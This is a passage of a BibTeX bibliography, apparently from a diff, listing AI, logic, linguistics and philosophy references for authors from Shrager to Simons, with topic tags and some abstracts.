graphs. A + new procedure -- called Graph Construction -- is presented that + improves on the Model Elimination and SL strategies. } , + topic = {theorem-proving;graph-based-reasoning;} + } + +@article{ shrager:1987a, + author = {Jeff Shrager}, + title = {Review of {\it Universal Subgoaling and Chunking: The + Automatic Generation and Learning of Goal Hierarchies}, + by {J}ohn {L}aird, {P}aul {R}osenbloom and {A}llen {N}ewell}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {2}, + pages = {269--273}, + xref = {Review of: laird-etal:1986a.}, + topic = {machine-learning;planning;cognitive-architectures;} + } + +@article{ shrager:1989a, + author = {Jeff Shrager}, + title = {Review of {\it Induction: Process of Inference, Learning + and Discovery}, by {J}ohn {H}. {H}olland, {K}eith {J}. + {H}olyoak, {R}ichard {E}. {N}isbett, and {P}aul {R}. + {T}hagard}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {249--252}, + xref = {Review of holland_jh:1986a.}, + topic = {induction;scientific-discovery;} + } + +@article{ shramko:1999a, + author = {Yaroslav Shramko}, + title = {Review of {\it Applied Logic}, by {K}aj {B}\"orge {H}ansen}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {429--432}, + xref = {Review of: hansen_kb:1996a.}, + topic = {philosophical-logic;} + } + +@article{ shravetaylor:2001a, + author = {John Shrave-Taylor}, + title = {Review of {\it Neural Network Learning: Theoretical + Foundations}, by {M}artin {A}nthony and {P}eter {L}. {B}artlett}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {99--100}, + xref = {Review of anthony-bartlett:1999a.}, + topic = {connectionist-models;} + } + +@book{ shrobe:1988a, + editor = {Howard E. Shrobe}, + title = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + address = {San Mateo, California}, + topic = {AI-survey;} + } + +@article{ shrobe:2000a, + author = {Howard Shrobe}, + title = {What Does the Future Hold?}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {4}, + pages = {41--57}, + topic = {AI-editorial;} + } + +@article{ shults-kuipers_bj:1997a, + author = {Benjamin Shults and Benjamin J. Kuipers}, + title = {Proving Properties of Continuous Systems: Qualitative + Simulation and Temporal Logic}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {91--129}, + topic = {temporal-logic;qualitative-physics;continuous-systems;} + } + +@article{ shvarts:1989a, + author = {Grigory F. Shvarts}, + title = {Fixed Points in the Propositional Nonmonotonic Logic}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {2}, + pages = {199--206}, + topic = {nonmonotonic-logic;} + } + +@inproceedings{ shvarts:1990a, + author = {Grigori Shvarts}, + title = {Autoepistemic Modal Logics}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Third Conference ({TARK} 1990)}, + year = {1990}, + editor = {Rohit Parikh}, + pages = {97--109}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {autoepistemic-logic;nonmonotonic-logic;modal-logic;} + } + +@inproceedings{ shvaytser:1988a, + author = {Haim Shvaytser}, + title = {Representing Knowledge in Learning Systems by Pseudo + Boolean Functions}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {245--259}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {learning-theory;} + } + +@incollection{ shwayder:1984a, + author = {David S. Shwayder}, + title = {Hume Was Right, Almost, and Where He Wasn't, {K}ant Was}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {135--149}, + address = {Minneapolis}, + topic = {causality;} + } + +@inproceedings{ sibun:1990a, + author = {Penelope Sibun}, + title = {The Local Organization of Text}, + booktitle = {Fifth International Workshop on Natural Language + Generation, Pittsburgh, Pennsylvania}, + year = {1990}, + pages = {120--127}, + topic = {nl-generation;discourse-structure;pragmatics;} +} + +@phdthesis{ sibun:1991a, + author = {Penelope Sibun}, + title = {Locally Organized Text Generation}, + school = {University of Massachusetts}, + note = {Technical Report COINS--91--73.}, + year = {1991}, + topic = {nl-generation;discourse-structure;pragmatics;} +} + +@article{ sibun:1992a, + author = {Penelope Sibun}, + title = {Generating Text without Trees}, + journal = {Computational Intelligence}, + volume = {8}, + number = {1}, + year = {1992}, + pages = {102--122}, + note = {Special Issue on Natural Language Generation.}, + topic = {nl-generation;} + } + +@phdthesis{ sidner_cl:1979a, + author = {Candice L. Sidner}, + title = {Towards a Computational Theory of Definite Anaphora + Comprehension in {E}nglish Discourse}, + school = {Artificial Intelligence Laboratory, Massachusetts + Institute of Technology}, + year = {1979}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {anaphora;discourse;} + } + +@article{ sidner_cl:1979b, + author = {Candice L. Sidner}, + title = {Focusing for Interpretation of Pronouns}, + journal = {American Journal of Computational Linguistics}, + year = {1979}, + volume = {7}, + number = {4}, + pages = {217--231}, + topic = {anaphora;discourse-coherence;discourse; + anaphora-resolution;centering;pragmatics;} + } + +@techreport{ sidner_cl-bobrow_rj:1984a, + author = {Candice L. Sidner and Robert J. Bobrow}, + title = {Research in Knowledge Representation for Natural + Language Understanding}, + institution = {Bolt Beranek and Newman Inc.}, + number = {5694}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {nl-kr;taxonomic-logics;} + } + +@article{ sidner_cl:1985a, + author = {Candice L. Sidner}, + title = {Plan Parsing for Intended Response Recognition in + Discourse}, + journal = {Computational Intelligence}, + year = {1985}, + volume = {1}, + number = {1}, + pages = {1--10}, + topic = {plan-recognition;discourse;pragmatics;} + } + +@inproceedings{ sidner_cl:1994a, + author = {Candice L. Sidner}, + title = {An Artificial Discourse Language for Collaborative Negotiation}, + booktitle = {Proceedings of the Twelfth National Conference on + Artificial Intelligence}, + year = {1994}, + editor = "Barbara Hayes-Roth and Richard Korf", + pages = {814--819}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {collaboration;coord-in-conversation;pragmatics;} + } + +@book{ sidner_cl-etal:2000a, + editor = {Candace L. Sidner and Jamnes Allen and Harald Aust and + Philip Cohen and Justine Cassell and Laila Dybkjaer and + X.D. Huang and Masato Ishizaki and Candace Kamm andd + Lin-Shan Lee and Susann Luperfoy and Patti Price and + Owen Rambow and Norbert Reithinger and Alex Rudnicky + and Stephanie Seneff and Dave Stallard and David Traum and + Marilyn Walker and Wayne Ward}, + title = {{ANLP/NAACL} Workshop on Conversational Systems}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Candace Sidner and Caroline Boettner and Charles Rich, "Lessons + Learned in Building Spoken Language Cooperative + Interface Agents", pp. 1--6 + 2. Staffan Larssen and Peter Ljungl\"of and Robin Cooper and + Elisabet Engdahl and Stina Ericsson, "{GoDiS}---An + Accommodating Dialogue System", pp. 7--10 + 3. Stephanie Seneff and Joseph Polifroni, "Dialogue Management + in the {M}ercury Flight Reservation System", pp. 11--16 + 4. Diane Litman and Satinder Singh and Michael Kearns and + Marilyn Walker, "{NJFun}: A Reinforcement Spoken + Dialogue System", pp. 17--20 + 5. Scott Axelrod, "Natural Language Generation in the {IBM} + Flight Information System", pp. 21--32 + 6. James Allen and Donna Byron and Dave Costello and Myroslava + Dzikovska and George Ferguson and Lucian Galescu + and Amanda Stent, "{TRIPS}-911 System + Demonstration", pp. 33--35 + 7. Marsal Gavald\`a, "Epiphenomenal Grammar Acquisition with + GSG", pp. 36--41 + 8. Wei Xu and Alexander I. Rudnicky, "Task-Based Dialog + Management Using an Agenda", pp. 42--47 + 9. Christine H. Nakatani and Jennifer Chu-Carroll, "Using + Dialogie Representations for Concept-to-Speech + Generation", pp. 48--53 + 10. Manny Rayner and Beth Ann Hockey and Frankie James, "A + Compact Architecture for Dialogue Management + Based on Scripts and Meta-Outputs", pp. 54--60 + 11. Sharon J. Goldwater and Elizabeth Owen Bratt and Jean Mark + Gawron and John Dowding, "Building a Robust + Dialogue System with Limited Data", pp. 61--65 + } , + topic = {computational-dialogue;} + } + +@inproceedings{ sidner_cl-etal:2000b, + author = {Candace L. Sidner and Caroline Boettner and Charles Rich}, + title = {Lessons Learned in Building Spoken Language Cooperative + Interface Agents}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {1--6}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ sidner_t:1997a, + author = {Theodore Sidner}, + title = {Four-Dimensionalism}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {2}, + pages = {197--231}, + topic = {personal-identity;} + } + +@article{ sidner_t:1999a, + author = {Theodore Sidner}, + title = {Review of{\em Ontology, Modality, and the Fallacy + of Reference}}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {2}, + pages = {284--294}, + xref = {Review of jubien:1993a.}, + topic = {philosophical-ontology;essentialism;reference;} + } + +@article{ sidner_t:2001a, + author = {Theodore Sidner}, + title = {Review of {\em {Meaning},} by {P}aul {H}orwich}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {101--104}, + xref = {Review of horwich:1998a.}, + topic = {foundations-of-semnantics;philosophy-of-language;} + } + +@incollection{ sidorenko:1994a, + author = {E.A. Sidorenko}, + title = {On Extensions of {E}}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {195--202}, + address = {Helsinki}, + topic = {relevance-logic;} + } + +@article{ sidorsky:1965a, + author = {David Sidorsky}, + title = {A Note on Three Criticisms of Von {W}right}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {12}, + pages = {739--742}, + xref = {Commentary on: castaneda:1965b, vonwright:1963a.}, + topic = {deontic-logic;action;} + } + +@article{ sieg:1990a, + author = {Wilfried Sieg}, + title = {Relative Consistency and Accessible Domains}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {2}, + pages = {259--297}, + topic = {proof-theory;philosophy-of-mathematics;} + } + +@article{ sieg:1997a, + author = {Wilfried Sieg}, + title = {Step by Recursive Step: {C}hurch's Analysis of Effective + Computability}, + journal = {The Bulletin of Symbolic Logic}, + year = {1997}, + volume = {3}, + number = {2}, + pages = {154--180}, + topic = {computability;history-of-logic;Church's-thesis;} + } + +@article{ sieg:1999a, + author = {Wilfried Sieg}, + title = {Hilbert's Programs: 1917--1922}, + journal = {The Bulletin of Symbolic Logic}, + year = {199}, + volume = {5}, + number = {1}, + pages = {1--44}, + topic = {Hilbert's-program;history-of-logic;} + } + +@incollection{ siegal:1991a, + author = {Michael Siegal}, + title = {A Clash of Conversational Worlds: + Interpreting Cognitive Development through + Communication}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {23--40}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ siegel_ev:1997a, + author = {Eric V. Siegel}, + title = {Learning Methods for Combining Linguistic + Indicators to Classify Verbs}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {156--163}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;verb-classes;machine-learning;} + } + +@incollection{ siegel_ev:1998a, + author = {Eric V. Siegel}, + title = {Disambiguating Verbs with the + {W}ord{N}et Category of Direct Object}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {9--15}, + address = {Somerset, New Jersey}, + topic = {nl-processing;WordNet;lexical-disambiguation;} + } + +@article{ siegel_ev-mckeown:2000a, + author = {Eric V. Siegel and Kathleen R. McKeown}, + title = {Learning Methods to Combine Linguistic Indicators: + Improving Aspectual Classification and Revealing + Linguistic Insights}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {595--628}, + topic = {tense-aspect;machine-language-learning;text-understanding;} + } + +@book{ siegel_gma:2000a, + author = {Gabriel M.A. Siegel}, + title = {A Slim Book about Narrow Content}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-69230-9}, + topic = {internal/external-properties;} + } + +@article{ siegel_gma:2001a, + author = {Gabriel M.A. Siegel}, + title = {On a Difference between Language and Thought}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {1}, + pages = {125--139}, + topic = {foundations-of-cognition;} + } + +@incollection{ siegel_ma:1976a, + author = {Muffy A. Siegel}, + title = {Capturing the {R}ussian Adjective}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {293--309}, + address = {New York}, + topic = {Montague-grammar;nl-semantics;adjectives;Russian-language;} + } + +@unpublished{ siegel_ma:1977a, + author = {Muffy A. Siegel}, + title = {Measure Adjectives in {M}ontague Grammar}, + year = {1977}, + note = {Unpublished manuscript, Linguistics Department, San + Diego State University}, + topic = {measures;Montague-grammar;adjectives;nl-semantics;} + } + +@unpublished{ siegel_ma:1978a, + author = {Muffy A. Siegel}, + title = {Some Thoughts on Propositional Attitudes, + Psychological Meanings, and Intensions in {M}ontague Grammar}, + year = {1978}, + note = {Unpublished manuscript.}, + missinginfo = {Year is a guess.}, + topic = {intensionality;propositional-attituds;Montague-grammar; + foundations-of-semantics;} + } + +@article{ siegel_ma:1987a, + author = {Muffy A. Siegel}, + title = {Compositionality, Case, and the Scope of Auxiliaries}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {1}, + pages = {53--75}, + topic = {auxiliary-verbs;compositionality;nl-semantics;} + } + +@article{ siegel_ma:1994a, + author = {Muffy A. Siegel}, + title = {Such: Binding and the Pro-Adjective}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {5}, + pages = {481--497}, + topic = {pro-forms;adjectives;nl-semantics;} + } + +@article{ siegel_p-schwind:1993a, + author = {P. Siegel and C. Schwind}, + title = {Modal Logic Based Theory for Non-Monotonic Reasoning}, + journal = {Journal of Applied Non-Classical Logics}, + year = {1993}, + volume = {3}, + number = {1}, + pages = {73--92}, + missinginfo = {A's 1st name}, + topic = {modal-logic;nonmonotonic-logic;} + } + +@incollection{ siegel_p-forget:1996a, + author = {Pierre Siegel and Lionel Forget}, + title = {A Representation Theorem for Preferential Logics}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {453--460}, + address = {San Francisco, California}, + topic = {model-preference;nonmonotonic-logic;} + } + +@incollection{ siekman-fehrer:1998a, + author = {J. Siekman and D. Fehrer}, + title = {Introduction (to Part {II}: Representation)}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {II}, Systems and Implementation Techniques}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@unpublished{ sierrasantibanez:1998a, + author = {Josefina Sierra Santib\'a\~nez}, + title = {Declarative Formalization of Strategies for + Action Selection}, + year = {1998}, + note = {Unpublished manuscript, Computer Science Department, + Stanford University}, + topic = {heuristics;situation-calculus;circumscription;} + } + +@article{ siewart:2001a, + author = {Charles Siewart}, + title = {Self-Knowledge and Phenomenal Unity}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {542--568}, + topic = {introspection;epistemology;} + } + +@incollection{ sigman:1983a, + author = {Stuart J. Sigman}, + title = {Some Multiple Constraints Placed on Conversational Topics}, + booktitle = {Conversational Coherence: Form, Structure and + Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {174--195}, + address = {London}, + topic = {discourse-coherence;discourse-analysis;pragmatics;} + } + +@article{ siklossy-roach:1975a, + author = {L. Sikl\'ossy and J. Roach}, + title = {Model Verification and Improvement Using {DISPROVER}}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {1}, + pages = {41--52}, + acontentnote = {Abstract: + Confidence in the adequacy of a model is increased if tasks that + are impossible in the world are shown to correspond to + disprovable tasks in the model. DISPROVER has been used as a + tool to test, in worlds of robots, the impossibility of tasks + related to various conservation laws (objects, position, model + consistency, etc.) and time constraints. The adequacy and + sufficiency of operators can be established. Interacting with + DISPROVER, the model designer can improve his axiomatization. + The frontier between ``acceptable'' and ``ridiculous'' + axiomatizations is shown, in many examples, to be a most tenuous + one. + } , + topic = {cognitive-robotics;ability;} + } + +@inproceedings{ sikorski-allen:1997a, + author = {Teresa Sikorski and James Allen}, + title = {A Scheme for Annotating Problem Solving Actions in Dialogue}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {83--89}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;discourse-planning;pragmatics;} + } + +@book{ silverman:1992a, + author = {Barry G. Silverman}, + title = {Critiquing Human Error: A Knowledge Based Human-Computer + Collaboration Approach}, + publisher = {Academic Press}, + year = {1992}, + address = {London}, + ISBN = {0126437408}, + topic = {HCI;} + } + +@book{ silverman:1997a, + editor = {David Silverman}, + title = {Qualitative Research: Theory, Method, and Practics}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@incollection{ silverstein:1976a, + author = {Michael Silverstein}, + title = {Shifters, Linguistic Categories, and Cultural Description}, + booktitle = {Meaning in Anthropology}, + publisher = {University of New Mexico Press}, + year = {1976}, + editor = {K.H. Basso and H.A. Selby}, + pages = {11--55}, + address = {Alburqueque}, + topic = {ethnolinguistics;meaning-and-culture;} + } + +@book{ silverstein-urban:1996a, + editor = {Michael Silverstein and Greg Urban}, + title = {Natural Histories of Discourse}, + publisher = {University of Chicago Press}, + year = {1996}, + address = {Chicago}, + contentnote = {Essays dealing with the interpretation of texts from + other cultures.}, + topic = {ethnolinguistics;meaning-and-culture;pragmatics;} +} + +@incollection{ simaan:1998a, + author = {Khalil Sima'an}, + title = {Explanation-Based Learning of Data-Oriented Parsing}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {107--116}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;parsing-algorithms;} + } + +@article{ simari-loui:1992a, + author = {Guillermo R. Simari and Ronald P. Loui}, + title = {A Mathematical Treatment of Defeasible Reasoning and Its + Implementation}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {125--157}, + topic = {nonmonotonic-reasoning;nonmonotonic-logic; + argument-based-defeasible-reasoning;specificity;} + } + +@article{ simchen:2001a, + author = {Ori Simchen}, + title = {Rules and Mention}, + journal = {The Philosophical Quarterly}, + year = {2001}, + volume = {51}, + missinginfo = {number, pages}, + topic = {Achilles-and-the-tortoise;} + } + +@article{ simmons_k:1990a, + author = {Keith Simmons}, + title = {The Diagonal Argument and the Liar}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {3}, + pages = {277--303}, + topic = {diagonalization-arguments;semantic-paradoxes;} + } + +@article{ simmons_k:1999a, + author = {Keith Simmons}, + title = {Deflationary Truth and the {L}iar}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {5}, + pages = {455--488}, + topic = {semantic-paradoxes;truth;} + } + +@article{ simmons_k:2000a, + author = {Keith Simmons}, + title = {Deflationary Truth and the Liar}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {455--488}, + topic = {disquotationalist-truth;semantic-paradoxes;} + } + +@article{ simmons_r1-slocum:1972a, + author = {R. Simmons and Jonathan Slocum}, + title = {Generating {E}nglish Discourse From Semantic Networks}, + journal = {Communications of the Association for Computing Machinery}, + year = {1972}, + volume = {15}, + number = {10}, + pages = {891--905}, + missinginfo = {A's 1st name}, + topic = {nl-generation;pragmatics;} +} + +@article{ simmons_r2:1992a, + author = {Reid G. Simmons}, + title = {The Roles of Associational and Causal Reasoning in Problem + Solving}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {1--2}, + pages = {159--207}, + contentnote = {Develops the "Generate, Test and Debug" paradigm of problem + solving. Applications in planning and interpretation, geology + domains.}, + acontentnote = {Abstract: + Efficiency and robustness are two desirable, but often + conflicting, characteristics of problem solvers. This article + describes the Generate, Test and Debug (GTD) paradigm, which + combines associational and causal reasoning techniques to + efficiently solve a wide range of problems. GTD uses + associational reasoning to generate initial hypotheses, and uses + causal reasoning to test hypotheses and to debug faulty + hypotheses, if necessary. We contend that the characteristics of + associational and causal reasoning differ mainly in the way they + deal with interactions -- associational reasoning presumes + independence; causal reasoning explicitly represents + interactions. This difference helps account for the strengths + and weaknesses of the reasoning techniques, and indicates the + problem-solving roles for which they are best suited. The GTD + paradigm has been implemented and tested in several planning and + interpretation domains, with an emphasis on geologic + interpretation. } , + topic = {causal-reasoning;problem-solving;computer-assisted-science; + causality;problem-solving-archictectures;} + } + +@article{ simon_ha:1952a, + author = {Herbert Simon}, + title = {On the Definition of the Causal Relation}, + journal = {The Journal of Philosophy}, + year = {1952}, + volume = {49}, + missinginfo = {number}, + pages = {517--528}, + topic = {causality;} + } + +@article{ simon_ha:1955a, + author = {Herbert Simon}, + title = {A Behavioral Model of Rational Choice}, + journal = {Quarterly Journal of Economics}, + year = {1955}, + volume = {69}, + pages = {99--118}, + topic = {limited-rationality;decision-making;rationality;} + } + +@techreport{ simon_ha:1966a, + author = {Herbert A. Simon}, + title = {On Reasoning about Action}, + institution = {Carnegie Institute of Technology}, + number = {Complex Information Processing Paper \#87}, + year = {1966}, + address = {Pittsburgh, Pennsylvania}, + xref = {Probably published as simon_ha:1972a.}, + topic = {foundations-of-planning;action;} + } + +@article{ simon_ha-rescher:1966a, + author = {Herbert A. Simon and Nicholas Rescher}, + title = {Cause and Counterfactual}, + journal = {Philosophy of Science}, + year = {1966}, + volume = {33}, + pages = {323--340}, + missinginfo = {number}, + topic = {causality;conditionals;} + } + +@incollection{ simon_ha:1972a, + author = {Herbert A. Simon}, + title = {On Reasoning about Actions}, + booktitle = {Representation and Meaning: Experiments with + Information Processing Systems}, + publisher = {Prentice-Hall}, + year = {1972}, + editor = {Herbert A. Simon and L. Siklossy}, + pages = {414--430}, + address = {Englewood Cliffs, New Jersey}, + missinginfo = {E's 1st name.}, + topic = {foundations-of-planning;action;} + } + +@article{ simon_ha:1973a, + author = {Herbert A. Simon}, + title = {The Structure of Ill Structured Problems}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {3--4}, + pages = {181--201}, + acontentnote = {Abstract: + The boundary between well structured and ill structured problems + is vague, fluid and not susceptible to formalization. Any + problem solving process will appear ill structured if the + problem solver is a serial machine that has access to a very + large long-term memory of potentially relevant information, + and/or access to a very large external memory that provides + information about the actual real-world consequences of + problem-solving actions. There is no reason to suppose that new + and hitherto unknown concepts or techniques are needed to enable + artificial intelligence systems to operate successfully in + domains that have these characteristics. } , + topic = {problem-solving;} + } + +@article{ simon_ha-kadane:1975a, + author = {Herbert A. Simon and Joseph B. Kadane}, + title = {Optimal Problem-Solving Search: All-Or-None Solutions}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {3}, + pages = {235--247}, + topic = {problem-solving;search;} + } + +@book{ simon_ha:1977a, + author = {Herbert A. Simon}, + title = {Models of Discovery}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + topic = {foundations-of-economics;AI-classics;} + } + +@book{ simon_ha:1982a, + author = {Herbert A. Simon}, + title = {Models of Bounded Rationality, Volume 1}, + publisher = {The {MIT} Press}, + year = {1982}, + address = {Cambridge, Massachusetts}, + topic = {limited-rationality;} + } + +@book{ simon_ha:1982b, + author = {Herbert A. Simon}, + title = {Models of Bounded Rationality, Volume 2}, + publisher = {The {MIT} Press}, + year = {1982}, + address = {Cambridge, Massachusetts}, + topic = {limited-rationality;} + } + +@article{ simon_ha:1983a, + author = {Herbert A. Simon}, + title = {Search and Reasoning in Problem Solving}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {7--29}, + topic = {search;problem-solving;} + } + +@incollection{ simon_ha-kaplan:1989a, + author = {Herbert A. Simon and Craig A. Kaplan}, + title = {Foundations of Cognitive Science}, + booktitle = {Foundations of Cognitive Science}, + publisher = {The {MIT} Press}, + year = {1989}, + editor = {Michael I. Posner}, + chapter = {1}, + pages = {1--47}, + address = {Cambridge, Massachusetts}, + topic = {foundations-of-cognitive-science;foundations-of-linguistics;} + } + +@article{ simon_ha:1991a, + author = {Herbert A. Simon}, + title = {Nonmonotonic Reasoning and Causation: Comment}, + journal = {Cognitive Science}, + year = {1991}, + volume = {15}, + pages = {293--300}, + topic = {nonmonotonic-reasoning;causality;} + } + +@article{ simon_ha:1993a, + author = {Herbert A. Simon}, + title = {{A}llen {N}ewell: The Entry into Complex Information + Processing}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {251--259}, + topic = {SOAR;cognitive-architectures;history-of-AI;} + } + +@article{ simon_ha:1995a, + author = {Herbert Simon}, + title = {Artificial Intelligence: an Empirical Science}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {1}, + pages = {95--128}, + topic = {foundations-of-AI;} + } + +@incollection{ simon_ha:1996a, + author = {Herbert A. Simon}, + title = {The Patterned Matter That is Mind}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {407--431}, + topic = {cognitive-architectures;foundations-of-cognition;} + } + +@book{ simon_ha:1996b, + author = {Herbert A. Simon}, + title = {The Sciences of the Artificial}, + publisher = {The {MIT} Press}, + year = {1996}, + edition = {3}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: stefik:1984a (2nd ed.).}, + topic = {AI-classics;foundations-of-cognitive-science;} + } + +@book{ simon_ha:1996c, + author = {Herbert A. Simon}, + title = {Models of Bounded Rationality: Empirically Grounded Economic + Reason}, + publisher = {The {MIT} Press}, + year = {1996}, + volume = {3}, + address = {Cambridge, Massachusetts}, + topic = {limited-rationality;} + } + +@article{ simon_ha-etal:1997a, + author = {Herbert A. Simon and Ra\'ul E. Vald\'es-P\'erez and + Derek H. Sleeman}, + title = {Scientific Discovery and Simplicity of Method}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {177--181}, + topic = {automated-scientific-discovery;} + } + +@book{ simon_m:1981a, + author = {Michael A. Simon}, + title = {Understanding Human Action: Social Explanation and the + Vision of Social Science}, + publisher = {State University of New York Press}, + year = {1981}, + address = {Albany}, + topic = {philosophy-of-action;philosophy-of-social-science;} + } + +@incollection{ simon_t:1996a, + author = {Tony Simon}, + title = {Development Matters}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {357--362}, + topic = {cognitive-architectures;automated-scientific-discovery; + SOAR;} + } + +@book{ simon_tw-scholes:1982a, + editor = {Thomas W. Simon and Robert J. Scholes}, + title = {Language, Mind, and Brain}, + publisher = {Lawrence Erbaum Associates}, + year = {1982}, + address = {Hillsdale, N.J.}, + ISBN = {0898591538}, + topic = {psycholinguistics;cognitive-science;} + } + +@incollection{ simonet:1992a, + author = {Genevi\'eve Simonet}, + title = {{RS} Theory: A Really Skeptical Theory of Inheritance with + Exceptions}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {615--626}, + address = {San Mateo, California}, + topic = {inheritance-theory;} + } + +@article{ simonet-ducournau:1994a, + author = {Genevi\`eve Simonet and Roland Ducournau}, + title = {On Stein's Paper: Resolving Ambiguity in Nonmonotonic + Inheritance Nets}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {71}, + number = {1}, + pages = {183--193}, + topic = {inheritance-theory;} + } + +@article{ simonet:1996a, + author = {Genevi\`eve Simonet}, + title = {On {S}andewall's Paper: Nonmonotonic Inference Rules for + Multiple Inheritance with Exceptions}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {359--374}, + topic = {inheritance-theory;} + } + +@incollection{ simons_gf-thomson_jv:1997a, + author = {Gary F. Simons and John V. Thomson}, + title = {Multilingual Data Processing in the {CELLAR} Environment}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {203--234}, 